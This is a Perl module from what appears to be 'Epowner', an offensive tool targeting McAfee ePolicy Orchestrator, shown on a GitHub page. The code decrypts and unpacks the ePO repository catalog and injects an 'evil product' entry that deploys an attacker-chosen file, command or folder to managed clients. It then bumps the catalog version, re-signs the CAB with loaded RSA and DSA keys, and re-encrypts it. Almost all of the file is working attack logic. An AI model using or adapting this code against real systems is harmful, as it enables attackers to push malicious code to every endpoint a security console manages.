-
Notifications
You must be signed in to change notification settings - Fork 22
/
Catalog.pm
291 lines (215 loc) · 9.06 KB
/
Catalog.pm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
package Epowner::Epo;
use Epowner::Cab::Cab;
use Epowner::CabSign::CabSign;
use File::Path;
use Time::Piece;
use strict;
use warnings;
#============================================================#
# Catalog : From XML to Cab file #
#============================================================#
sub catalog_makecab {
my $this = shift;
my $xmlfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_xml_file} ;
my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_cab_file} ;
# Generate CAB file
my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path});
$cab->makecab($xmlfile, $cabfile, 1);
}
#============================================================#
# Catalog : From CAB to XML #
#============================================================#
sub catalog_extract {
my $this = shift;
my $xmlfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_xml_file} ;
my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
# Extract CAB file
my $cab = Epowner::Cab::Cab->new($this->{lcab_path}, $this->{cabextract_path});
$cab->extractcab($cabfile, $xmlfile);
}
#============================================================#
# Catalog : Sign Cab file #
#============================================================#
sub catalog_signcab {
my $this = shift;
# filenames (catalog)
my $cabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_cab_file} ;
my $signedcabfile = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
# filename (keys)
my $dsa_pub = $this->{catalog_dsa_folder} . '/' . $this->{catalog_dsa_pub_file} ;
my $dsa_priv = $this->{catalog_dsa_folder} . '/' . $this->{catalog_dsa_priv_file} ;
my $rsa_pub = $this->{catalog_rsa_folder} . '/' . $this->{catalog_rsa_pub_file} ;
my $rsa_priv = $this->{catalog_rsa_folder} . '/' . $this->{catalog_rsa_priv_file} ;
my $cabsign = Epowner::CabSign::CabSign->new;
# Crypto keys
$cabsign->load_dsa_pub_from_file( $dsa_pub);
$cabsign->load_dsa_priv_from_file($dsa_priv);
$cabsign->load_rsa_priv_from_file($rsa_priv);
$cabsign->load_rsa_pub_from_file($rsa_pub);
# sign CAB file
$cabsign->read_cabfile($cabfile);
$cabsign->sign_cab();
$cabsign->write_cabfile_signed($signedcabfile);
}
#============================================================#
# Catalog : From SignedCab to catalog.z #
#============================================================#
sub catalog_encrypt {
my $this = shift;
my $signedcab = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
my $catalog_z = $this->{catalog_tmp_folder} . '/' . $this->{catalog_z_file} ;
# Read Signed CAB
my $buf ='';
open FILE, "$signedcab" or die "Couldn't open $signedcab: $!";
while (<FILE>){ $buf .= $_; }
close FILE;
my $enc = mcafee_3des_encrypt(
$buf, # to encrypt
sha1_hex($this->{des3_symkey}) # 3DES key in hex
);
# Write
open FILE, ">$catalog_z" or die "Couldn't open $catalog_z: $!";
print FILE $enc;
close FILE;
}
#============================================================#
# Catalog : From catalog.z to Signed cab file #
#============================================================#
sub catalog_decrypt {
my $this = shift;
my $cab = $this->{catalog_tmp_folder} . '/' . $this->{catalog_signedcab_file} ;
my $catalog_z = $this->{catalog_tmp_folder} . '/' . $this->{catalog_z_file} ;
# Read catalog.z
my $buf ='';
open FILE, "$catalog_z" or die "Couldn't open $catalog_z: $!";
while (<FILE>){ $buf .= $_; }
close FILE;
my $dec = mcafee_3des_decrypt(
$buf, # to decrypt
sha1_hex($this->{des3_symkey}) # 3DES key in hex
);
# Write
open FILE, ">$cab" or die "Couldn't open $cab: $!";
print FILE $dec;
close FILE;
}
#============================================================#
# Catalog : Add a new product in catalog.xml #
#============================================================#
sub catalog_xml_add_product {
my $this = shift;
my $action = shift; #DEPLOY_FILE, DEPLOY_CMD or DEPLOY_CUSTOM
my $evil_local_path;
my $cmd;
my $custom_folder;
my $total_sizeKb =0;
if($action eq DEPLOY_FILE){
$evil_local_path = shift; # the file we want to deploy on clients
# is evil file exists ?
if(not -f $evil_local_path){
print_err "[-] ERROR: (write_pkgcatalog_xml): file '$evil_local_path' not found\n";
exit;
}
# get evil file size
my $evil_size = -s $evil_local_path ;
$total_sizeKb += int($evil_size / 1024);
}elsif ($action eq DEPLOY_CMD){
$cmd = shift;
}elsif ($action eq DEPLOY_CUSTOM){
$custom_folder = shift;
# read custom folder dir
opendir DIR, $custom_folder or die "[-] ERROR (catalog_xml_add_product): can't open '$custom_folder' directory\n";
my @files = readdir(DIR);
close DIR;
# for each entry; add size in Kb
foreach my $entry (@files){
next if $entry =~ /^\.$|^\.\.$|^run.bat$/;
my $size = -s $custom_folder . "/" .$entry ;
$total_sizeKb += int($size / 1024);
}
}
my $signing_key_hash = shift; # which RSA key are used to sign the CAB file
my $magic = "dcdd61260ffc0b282979b0a0e2047e8dfcdb57d1"; # we use a tag in the new catalog.xml file to check if we already modified that file
# during a previous session.
# If we find that tag, we will first remove the previous Product from the list..
# for your knowledge, this tag is equal to 'sha1(epowned)'
# get run.bat file size
my $run_size = -s $this->{deploy_run_bat} ;
$total_sizeKb += int($run_size / 1024);
# evil product info
my $product_id = $this->{deploy_evil_product_id};
my $product_name = lc($product_id);
# evil product XML content
my $product_xml_entry = << "EOF";
<!-- begin:$magic -->
<ProductPackage>
<ProductDetection Version="3.7.0.18" Branch="Current">
<DetectionScript>
<Name>foo.McS</Name>
<Size>84</Size>
<DateTime>1CAE83C1B4F3CE0</DateTime>
<Hash>0DA7D44161661916B8E2F49CDC39C1543B7FDCE0</Hash>
</DetectionScript>
<ProductVersion>$this->{deploy_evil_product_version}</ProductVersion>
<PlatformID>WNTW:4:0:4|WNTS:4:0:4|W2KW|W2KS|W2KAS|W2KDC|WXPW|WXPS|WXPHE|WVST|WVSTS|WNT7W</PlatformID>
</ProductDetection>
<ProductID>$this->{deploy_evil_product_id}</ProductID>
<ProductName>$product_name</ProductName>
<ConflictSoftwareList/>
<LangPackage Branch="Current" Version="20110430080658">
<CheckInDate>20121007033624</CheckInDate>
<ProductName>$product_name</ProductName>
<Priority>1</Priority>
<PackageType>Install</PackageType>
<LangID>0409</LangID>
<TotalSize>$total_sizeKb</TotalSize>
<ExtraSettings>
<Setting Name="BuildNumber">$this->{deploy_evil_product_build}</Setting>
</ExtraSettings>
<SigningKeyHash>$signing_key_hash</SigningKeyHash>
</LangPackage>
</ProductPackage>
<!-- end:$magic -->
EOF
# read current catalog XML file
my $xml_file = $this->{catalog_tmp_folder} . "/" . $this->{catalog_xml_file};
my $xml_content ='';
open FILE, "$xml_file" or die "Couldn't open $xml_file for reading: $!";
read (FILE, $xml_content, -s FILE);
close FILE;
# Extract Catalog version (<Catalog Version="20130108020230">)
my $catalog_version = $xml_content;
$catalog_version =~ s/\n//g;
$catalog_version =~ s/\r//g;
$catalog_version =~ s/.*<Catalog Version="([0-9]+)">.*/$1/;
# catalog_version = 20130108020230
#print "DEBUG: current version : $catalog_version \n";
# Convert version to time and increment version
my $time = Time::Piece->strptime($catalog_version, "%Y%m%d%H%M%S");
$time++;
my $catalog_version_new = $time->strftime("%Y%m%d%H%M%S");
#print "DEBUG: new version : $catalog_version_new \n";
# check if we already add a product in that catalog file (previous session)
if($xml_content =~ /$magic/){
print "[*] Previous evil product found in the catalog. Removing it ...\n";
my $magic_pos_begin = index($xml_content, "<!-- begin:$magic -->");
my $magic_pos_end = index($xml_content, "<!-- end:$magic -->") + length("<!-- end:$magic -->");
$xml_content =
substr($xml_content,0, $magic_pos_begin) . # before magic
substr($xml_content,$magic_pos_end) ; # after magic
}
# find the first product in catalog.xml
my $pos = index($xml_content, "<ProductPackage>");
# create new catalog.xml content
my $xml_content_new =
"<Catalog Version=\"$catalog_version_new\">\n" . # new version
$product_xml_entry . # our own <ProductPackage>...</ProductPackage>
substr($xml_content, $pos); # rest of the file
# save the new catalog.xml
open FILE, ">$xml_file" or die "Couldn't open $xml_file for writing: $!";
print FILE $xml_content_new ;
close FILE;
# return the new catalog version
return $catalog_version_new;
}
1;